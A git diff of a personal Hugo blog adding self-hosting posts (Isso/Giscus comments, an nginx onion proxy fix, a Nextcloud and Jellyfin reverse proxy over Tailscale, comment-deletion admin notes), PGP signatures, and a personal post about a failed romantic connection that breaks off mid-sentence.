GitHub CLI (optional, I didn't use it, but I should've perhaps) + +```bash +# Create the public comments repo (adjust names) +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm + +# Enable Discussions for it +gh repo edit yourname/blog-comments --enable-discussions +``` + +Then visit **giscus.app**, select the repo + category (e.g. “Comments”), and copy the generated IDs into `layouts/partials/comments.html`. + +--- + +### Final config snapshot (condensed) + +```toml +baseURL = "https://example.com/" +theme = "PaperMod" + +[outputs] + home = ["HTML", "RSS", "JSON"] + section = ["HTML", "RSS"] + taxonomy = ["HTML", "RSS"] + term = ["HTML", "RSS"] + +[services.rss] + limit = -1 + +[params] + comments = true + ShowRssButtonInSectionTermList = true + ShowFullTextinRSS = true + +# Optional if using Home-Info/Profile mode: +# [[params.socialIcons]] +# name = "rss" +# url = "/index.xml" +``` +--- + +# Appendix — Why I added Isso, how I wired it, and what I fixed + +## The story (why Isso + why I still keep Giscus) + +I wanted comments that: +- allow **anonymous** replies (no GitHub account required), +- are **lightweight** and **self-hosted**, and +- can work on my **Tor `.onion` mirror**. + +**Isso** checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of **Giscus** (comments are GitHub Discussions), so I kept both and added a little switcher UI: **“Anonymous (Isso)”** or **“GitHub (Giscus)”**. + +Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus). + + +## How I run it (high-level) + +- **Site:** Hugo + PaperMod +- **Isso:** listening on `127.0.0.1:8080`, stored locally (SQLite) +- **Nginx:** reverse-proxies **`/isso/`** to Isso on both the clearnet and the `.onion` vhost +- **Hugo partial:** renders the two panels (Isso & Giscus) and a switcher; Giscus is **lazy-loaded** and **auto-rethemed** with the site theme + +> I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the **Nginx proxying** and the **Hugo partial**. + + +## Hugo partial: switcher + embeds + +Save as `layouts/partials/comments.html` and include it in your single layout (e.g. `layouts/_default/single.html`) with `{{ partial "comments.html" . }}`. + +```html + +
    + + + Open on GitHub ↗ +
    + + +
    +
    + + + Comments powered by Isso + +
    + + + + + +``` + + +## Nginx: proxy Isso on **both** sites (and avoid the 404-onion trap) + +The bug I hit: my `.onion` server had a regex static block that **won over** the plain `/isso/` location, so `/isso/js/embed.min.js` returned **404**. + +**Fix:** make `/isso/` a `^~` prefix location so it beats regex, and place it **above** the static block. + +```nginx +# /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost) +server { + listen 127.0.0.1:3301 default_server; + server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost; + + add_header Referrer-Policy no-referrer always; + add_header X-Content-Type-Options nosniff always; + add_header X-Frame-Options SAMEORIGIN always; + + root /srv/hugo/mysite/public-onion; + index index.html; + + location / { try_files $uri $uri/ /index.html; } + + # /isso -> /isso/ + location = /isso { return 301 /isso/; } + + # IMPORTANT: this must beat regex locations below + location ^~ /isso/ { + proxy_pass http://127.0.0.1:8080/; # Isso container/port + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_redirect off; + proxy_read_timeout 60s; + } + + # static + location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { + access_log off; + add_header Cache-Control "public, max-age=31536000, immutable"; + try_files $uri =404; + } +} +``` + +Reload and smoke test: + +```bash +sudo nginx -t && sudo systemctl reload nginx +curl -I http:///isso/js/embed.min.js # expect 200 +``` + +> If you ever point `data-isso` to a **different origin**, add CORS headers on that vhost. For same-origin (`data-isso="/isso"`), you don’t need CORS. + + +## Small CSS tweaks (one color across light/dark + spacing) + +I wanted the same blue for **reply / edit / delete** links and for **Submit / Preview** buttons, in both themes, and a little spacing: + +```css +/* put this in your site CSS */ +:root { --btn-blue: #2563eb; } /* adjust to taste */ + +/* Isso form buttons */ +.isso-post-action input[type="submit"], +.isso-post-action input[name="preview"] { + background: var(--btn-blue) !important; + color: #fff !important; + border: none; + padding: .5rem .75rem; + border-radius: .4rem; + cursor: pointer; +} + +/* link actions under comments */ +.isso-comment-footer a { + color: var(--btn-blue) !important; + margin-right: .5rem; /* gives "edit" and "delete" some breathing room */ + text-decoration: none; +} +.isso-comment-footer a:hover { text-decoration: underline; } + +/* keep name/email/website stacked, slightly larger */ +.isso-auth-section .isso-input-wrapper { + display: block; + margin: .35rem 0; +} +.isso-auth-section label { font-size: .95rem; } +.isso-auth-section input[type="text"], +.isso-auth-section input[type="email"], +.isso-auth-section input[type="url"] { + width: 100%; + font-size: 1rem; + padding: .5rem .6rem; +} +``` + + +## What changed (the fixes I actually made) + +1. **Theme correctness for Giscus.** + PaperMod doesn’t add `.light`—it only toggles `.dark` and stores `pref-theme`. I now: + - read `localStorage.pref-theme` first, + - fall back to class/data-theme, then + - fall back to OS preference. + I also re-theme the Giscus iframe on every toggle via `postMessage`. + +2. **Isso over Tor.** + On the `.onion` vhost, I moved the proxy to a `^~ /isso/` block so it beats the static regex. That fixed the `404` on `/isso/js/embed.min.js`. + +3. **UI polish.** + - Unified button/link color across themes, + - ensured “edit”/“delete” aren’t touching, + - kept the author/email/website inputs **stacked**, and + - left **Submit**/**Preview** styled and grouped. + + +## Sanity check + +- Toggle the theme: Giscus switches between `noborder_light` and `dark_dimmed` without reload. +- Open DevTools → Network on onion: `/isso/js/embed.min.js` loads with **200**. +- Switcher buttons swap panels instantly; Giscus only loads when clicked. + + + +## 8) Final notes! +I could not fully fix the style of Isso. +CSS is not easy... drat! + +I don't think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I'm happy with it! ^^ + + +# Admin note — Delete all **Isso** comments for a single post + +This note is for future me: how to remove every comment tied to one post in **Isso**. +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or `.onion` — because this operates directly on the database. + +--- + +## TL;DR (host with SQLite) + +> Replace the placeholders for `DB` and `POST_URI` first. + +```bash +# 0) Variables — edit these two lines for your setup +DB="/var/lib/isso/comments.db" # path to your Isso SQLite DB (check isso.conf: [general] dbpath) +POST_URI="/posts/skin_routine/" # the post's URI as stored by Isso (often just the path) + +# 1) Backup (always do this!) +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'" + +# 2) Inspect: find the thread row and preview the comments +sqlite3 "$DB" " +.headers on +.mode column +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; +SELECT id, tid, created, author, text +FROM comments +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%') +ORDER BY created DESC +LIMIT 25; +" + +# 3) Delete all comments for that post (thread) +sqlite3 "$DB" " +DELETE FROM comments +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'); +" + +# 4) (Optional) Remove the now-empty thread row too +sqlite3 "$DB" " +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; +VACUUM; +" + +# 5) Done. Isso usually picks this up automatically. +# If you're containerized and want to be safe: +# docker restart +``` + +--- + +## If running Isso in Docker + +Open a shell in the container, then run the same steps: + +```bash +docker exec -it /bin/sh + +# Inside the container: +DB="/db/comments.db" # or /data/comments.db, check your image/volume mapping +POST_URI="/posts/skin_routine/" + +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'" +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';" +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');" +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;" +exit + +# Optionally restart the container: +docker restart +``` + +--- + +## Notes & gotchas + +- **Find the real DB path**: In `isso.conf` (often `/etc/isso/isso.conf` or within your container at `/config/isso.conf`), look for: + ```ini + [general] + dbpath = /var/lib/isso/comments.db + ``` +- **What goes in `POST_URI`?** Isso stores a `uri` string per thread. With the default embed config, it's usually the **path** (`/posts//`). If you’re unsure, list recent threads: + ```bash + sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;" + ``` +- **Clearnet vs `.onion`**: If you load the same post under multiple origins _and_ your embed setup stores full origins, you may have **multiple thread rows**. The `LIKE` query above deliberately matches any uri containing your `POST_URI` to catch those. +- **Rollback**: To undo, stop Isso (optional), replace the DB with your backup (`comments.YYYY-MM-DD-HHMMSS.backup.sqlite3`), and start Isso again. +- **HTTP API option**: Isso supports `DELETE /` if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly. +- **Safety**: Always run a backup first, and **preview with the SELECT** before you run the DELETE. + +--- + +## One-liners for the impatient + +```bash +DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/" +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'" +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');" +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;" +``` + +--- + +**Isso container: quick checks & fixes for future me! (thank past me later ^^)** + +**Find the container** +```bash +docker ps -a --format 'table {{.ID}} {{.Names}} {{.Status}} {{.Ports}}' | grep -i isso +``` + +**Inspect basic state** +```bash +docker inspect -f 'Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}' isso +``` + +**Logs** +```bash +docker logs --tail=200 isso +docker logs -f isso +``` + +**Ports & reachability** +```bash +docker port isso +sudo ss -ltnp | grep ':8080 ' +curl -i http://127.0.0.1:8080/ +``` + +**Restart policy (keep it running)** +```bash +docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso +docker update --restart unless-stopped isso +``` + +**Start/stop the container** +```bash +docker start isso +docker stop isso +``` + +**Who/what stopped it (events)** +```bash +docker events --since 24h --filter container=isso +``` + +**Common config issue: duplicate options/sections** +If logs show DuplicateOptionError or DuplicateSectionError, fix `/config/isso.cfg` (remove duplicate `[server]` blocks or duplicate `public-endpoint`). + +```bash +nl -ba /config/isso.cfg | sed -n '1,120p' +grep -n '^\[server\]' /config/isso.cfg +grep -n '^public-endpoint' /config/isso.cfg +``` + +**Using Docker Compose** *(run these in the directory with your compose file)* +```bash +docker compose ps +docker compose logs --tail=200 isso +docker compose up -d isso +``` + +**If the container doesn’t exist (create/recreate)** +```bash +docker image ls | grep -i isso + +docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest +``` + +**Optional: exclude from auto-updaters (like Watchtower)** +```bash +docker update --label-add com.centurylinklabs.watchtower.enable=false isso +``` + + +_This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix._ + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/new_features.md.asc b/public-clearnet/sources/posts/new_features.md.asc new file mode 100644 index 0000000..601b40a --- /dev/null +++ b/public-clearnet/sources/posts/new_features.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA= +=9k+S +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/pi_service_touchup.md b/public-clearnet/sources/posts/pi_service_touchup.md new file mode 100644 index 0000000..36acf23 --- /dev/null +++ b/public-clearnet/sources/posts/pi_service_touchup.md @@ -0,0 +1,418 @@ +--- +title: "Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin" +date: 2026-02-02 +tags: ["homelab","nginx","docker","nextcloud","jellyfin","cloudflare","tailscale","security","raspberrypi"] +description: "Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable." +draft: false +--- + +> I didn’t “move Nextcloud to the cloud”. +> I moved the **front door** to a VPS… and kept the house on my Raspberry Pi. 😄 + +This post documents the setup I ended up with: + +- A public **VPS** (host: `funbox`) running **Nginx** + **Let’s Encrypt** +- A private **Raspberry Pi** (host: `iot-hub`) running Docker services (**Nextcloud**, **Jellyfin**, …) +- A private backhaul using **Tailscale** (the `100.x.y.z` network) +- A correct Nextcloud reverse-proxy configuration (**trusted_domains**, **trusted_proxies**, and overwrite values) +- A pragmatic security layer for media: **Basic Auth at Nginx for Jellyfin** + (in addition to Jellyfin’s own login) + +I’m writing this as a “future me” note and a “copy-paste friendly” guide. + +--- + +## 0) Topology + +The request path looks like: + +``` +Browser + ↓ HTTPS (public) +Cloudflare DNS (optional proxy on/off) + ↓ +VPS (funbox) — Nginx reverse proxy + Let's Encrypt + ↓ HTTP over Tailscale (private 100.x network) +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / … +``` + +Why I like it: + +- The Pi can sit behind home router / CGNAT and still be reachable. +- TLS, redirects, headers, auth, rate limits… all centralized on the VPS. +- Internal IPs can change without breaking public URLs. + +--- + +## 1) What’s running on the Pi? + +On `iot-hub` the “interesting” containers are: + +- `nextcloud` (Apache variant) +- `nextcloud-db` (Postgres) +- `nextcloud-redis` +- `jellyfin` + +Example `docker ps` style output (yours may vary): + +``` +nextcloud nextcloud:apache 0.0.0.0:8080->80/tcp +jellyfin jellyfin/jellyfin 0.0.0.0:8096->8096/tcp +``` + +So on the Pi, the services listen on: +- `http://:8080` for Nextcloud +- `http://:8096` for Jellyfin + +But in my setup, **the VPS does not reach those via LAN** — it reaches them via Tailscale IPs. + +--- + +## 2) Tailscale: the private wire between VPS and Pi + +Tailscale assigns each node an address like `100.xx.yy.zz`. + +In my config, Nginx on `funbox` points to the Pi via Tailscale: + +- Nextcloud upstream: `http://100.104.127.96:8080` +- Jellyfin upstream: `http://100.104.127.96:8096` + +(Use the Tailscale IP of your Pi.) + +Quick sanity checks from the VPS: + +```bash +# from funbox, make sure you can reach the Pi service: +curl -I http://100.104.127.96:8080 +curl -I http://100.104.127.96:8096 +``` + +If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online). + +--- + +## 3) Nginx on the VPS: reverse proxy blocks + +### 3.1 Nextcloud vhost (VPS → Pi via Tailscale) + +Create (or edit): + +`/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir` + +and symlink into `sites-enabled`. + +Here is a complete working example: + +```nginx +# Redirect HTTP → HTTPS +server { + listen 80; + listen [::]:80; + server_name nextcloud.alipourimjourneys.ir; + + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name nextcloud.alipourimjourneys.ir; + + # Certbot-managed certs + ssl_certificate /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem; + include /etc/letsencrypt/options-ssl-nginx.conf; + ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; + + # Big uploads (tune to taste) + client_max_body_size 2G; + + # CalDAV/CardDAV redirects + location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; } + location = /.well-known/caldav { return 301 https://$host/remote.php/dav/; } + + location / { + proxy_pass http://100.104.127.96:8080; + + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Sometimes helps apps behind multiple proxies + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Port $server_port; + + # Nextcloud + WebDAV can do long requests + proxy_read_timeout 3600; + proxy_send_timeout 3600; + + # Usually good for DAV/uploads + proxy_buffering off; + proxy_request_buffering off; + } +} +``` + +Then test + reload: + +```bash +sudo nginx -t +sudo systemctl reload nginx +``` + +### 3.2 Jellyfin vhost (with Basic Auth) + +Create: + +`/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir` + +Example: + +```nginx +server { + listen 80; + listen [::]:80; + server_name jellyfin.alipourimjourneys.ir; + return 301 https://$host$request_uri; +} + +server { + listen 443 ssl; + listen [::]:443 ssl; + server_name jellyfin.alipourimjourneys.ir; + + ssl_certificate /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem; + include /etc/letsencrypt/options-ssl-nginx.conf; + ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; + + client_max_body_size 512M; + + # ✅ Basic Auth gate (extra layer before Jellyfin) + auth_basic "Jellyfin (private)"; + auth_basic_user_file /etc/nginx/.htpasswd-jellyfin; + + location / { + proxy_pass http://100.104.127.96:8096; + proxy_http_version 1.1; + + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto $scheme; + + # Jellyfin uses websockets + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + + proxy_read_timeout 3600; + proxy_send_timeout 3600; + + proxy_buffering off; + } +} +``` + +Enable: + +```bash +sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/ +sudo nginx -t +sudo systemctl reload nginx +``` + +--- + +## 4) Creating the Basic Auth password file + +Install tools (Debian/Ubuntu): + +```bash +sudo apt-get update +sudo apt-get install -y apache2-utils +``` + +Create the password file: + +```bash +sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername +``` + +(If adding more users later, omit `-c`.) + +Lock it down: + +```bash +sudo chown root:root /etc/nginx/.htpasswd-jellyfin +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin +``` + +### Notes on clients +- Most browsers + most Jellyfin apps handle HTTP Basic Auth fine. +- Some TV apps can be quirky. If a client can’t handle it, you can: + - remove Basic Auth, or + - keep it only on selected paths, or + - use Cloudflare Access in front of Jellyfin instead (more work). + +--- + +## 5) Nextcloud: configure it to behave behind the reverse proxy + +Nextcloud needs to know: +- what hostnames are valid, +- which proxy is trusted, +- and what the “outside” URL scheme is. + +You can do it via `occ` inside the container (Apache image uses `www-data`). + +### 5.1 trusted_domains + +Check current values: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains +``` + +Add your public domain: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir" +``` + +(Keep your internal name too if you still use it, e.g. `rpi:8080`.) + +### 5.2 trusted_proxies + +Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP. + +Example: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75" +``` + +(Use the **VPS’s Tailscale IP** as seen from the Pi.) + +### 5.3 overwritehost / overwriteprotocol / overwrite.cli.url + +Tell Nextcloud “the world sees me as https://nextcloud.example”: + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir" +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https" +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir" +``` + +### 5.4 forwarded_for_headers (optional, but often helpful) + +```bash +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR" +``` + +Restart Nextcloud container after config: + +```bash +docker restart nextcloud +``` + +--- + +## 6) Sanity checks (curl is your friend) + +From anywhere public: + +```bash +curl -I http://nextcloud.alipourimjourneys.ir +curl -I https://nextcloud.alipourimjourneys.ir +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav +``` + +Expected “good signs”: + +- HTTP returns **301** to HTTPS +- HTTPS returns **302** to `/login` (or 200 if already authenticated) +- `/.well-known/caldav` returns **301** to `/remote.php/dav/` + +If you see redirect loops or wrong hostnames: +- revisit `overwritehost`, `overwriteprotocol`, `trusted_proxies`. + +--- + +## 7) “Do I really need Cloudflare Access / WARP?” + +### The honest answer +If your setup is: +- HTTPS only +- strong passwords + MFA in Nextcloud/Jellyfin +- your origin isn’t directly exposed (only the VPS is public) +- you keep things patched + +…then you’re already in a **reasonable** place. + +### “Can I skip Cloudflare Access?” +Yes. In this topology, Cloudflare Access is optional. The main security boundary is: + +- **Public:** VPS + Nginx +- **Private:** Pi over Tailscale + +For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”. + +--- + +## 8) Cloudflare Access: One-time PIN not arriving + passkeys + +Two common gotchas: + +### 8.1 One-time PIN email didn’t arrive +That flow relies on email delivery. Check: +- spam/junk folder +- if your provider blocked it +- the exact email allowlist in your policy + +If it’s flaky, I’d avoid One-time PIN and use a real identity provider. + +### 8.2 Can I use passkeys / Apple / Google? +Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach: +- pick what your family already uses (Google or Apple), +- configure that as the login method, +- avoid WARP enrollment unless you specifically want device-based access. + +--- + +## 9) Hardening checklist (tiny but effective) + +On the VPS: +- Keep Ubuntu security updates on +- firewall: allow only what you need (22/80/443) +- optional: `fail2ban` for SSH + +On the Pi: +- keep Docker images updated +- Postgres/Redis not exposed publicly (Docker internal network) +- backups: Nextcloud data + DB + +--- + +## 10) TL;DR + +- VPS Nginx terminates TLS, proxies to Pi over Tailscale +- Nextcloud must be told about: + - `trusted_domains` + - `trusted_proxies` + - overwrite values (`overwritehost`, `overwriteprotocol`, `overwrite.cli.url`) +- `curl -I` should show sane redirects + `/remote.php/dav/` +- Jellyfin gets an extra gate with **Nginx Basic Auth** + +Boring is good. Boring runs for months. + +--- + + + +--- + +{{< sigdl >}} diff --git a/public-clearnet/sources/posts/pi_service_touchup.md.asc b/public-clearnet/sources/posts/pi_service_touchup.md.asc new file mode 100644 index 0000000..c69df23 --- /dev/null +++ b/public-clearnet/sources/posts/pi_service_touchup.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/ +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU= +=2UUg +-----END PGP SIGNATURE----- diff --git a/public-clearnet/sources/posts/relationships.md b/public-clearnet/sources/posts/relationships.md new file mode 100644 index 0000000..d5cc424 --- /dev/null +++ b/public-clearnet/sources/posts/relationships.md @@ -0,0 +1,166 @@ ++++ +title = 'Relationships' +date = 2025-10-05T08:03:31Z +description= "My experience so far with relationships" +draft = false ++++ + +> Notice: You'll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. + +So... do you also think you're a lover boy, kind, nice person? +So do I! +I think I'm actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. + +My problem is when things are to become more serious! +Like, you know... connecting at a more emotional level. +A "relationship". +I'm really bad at those. +In fact, I haven't ever been in one! +Now let's be honest, I'm not your typical jacked, handsome boy, but I think I'm somewhere around the average if not higher a bit? +Well, at least I hope so! :D + +I actually haven't even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like... yea dude... it was a date buddy. +Why do I say it wasn't a date? +Well, because I was told so yesterday by her. +That if it's a date, you're supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn't even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things! +We even found our "favorite shops" in the city together! +It was weird! I'm so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time. + +But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon "hopefully". +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that "the slots won't be filled". +It was weird, as if she was telling me I'm going to be taken if you don't do anything...? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I've been friendzoning her. +That I'm not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the "ways", she said "I don't play games and I also advise you not to get together with people that do so". +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I'm doing is normal and things are going well. +But I guess I was wrong? + +I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn't go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn't even know she was joining them or not. +It's kinda weird, but the plans were made in a group she was not inside of. +Anyway. + +October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let's go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn't just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn't know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that's how you can know if you like someone or not. If it's two way ofc. +I asked her what is this "click"? +She said "you know when you know, and if you think you don't know then there isn't one". +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it... +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date "early", as time is of essence. +Again, I was confused. +I was lost. +We've been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that's just how I felt in my mind? +Maybe things in my brain are just different? +I don't know. + +My sister in law told me that she probably had a crush on me and that I didn't reciprocate her feelings perhaps? +That I'm friendzoning her by not touching her back or asking her out on a "date". +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date. + +She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, "we were so different from eachother at a much deeper level". +That her "life experiecnes" are just different, "and so on". +She did actually say "and so on". + +You know what it reminds me of? 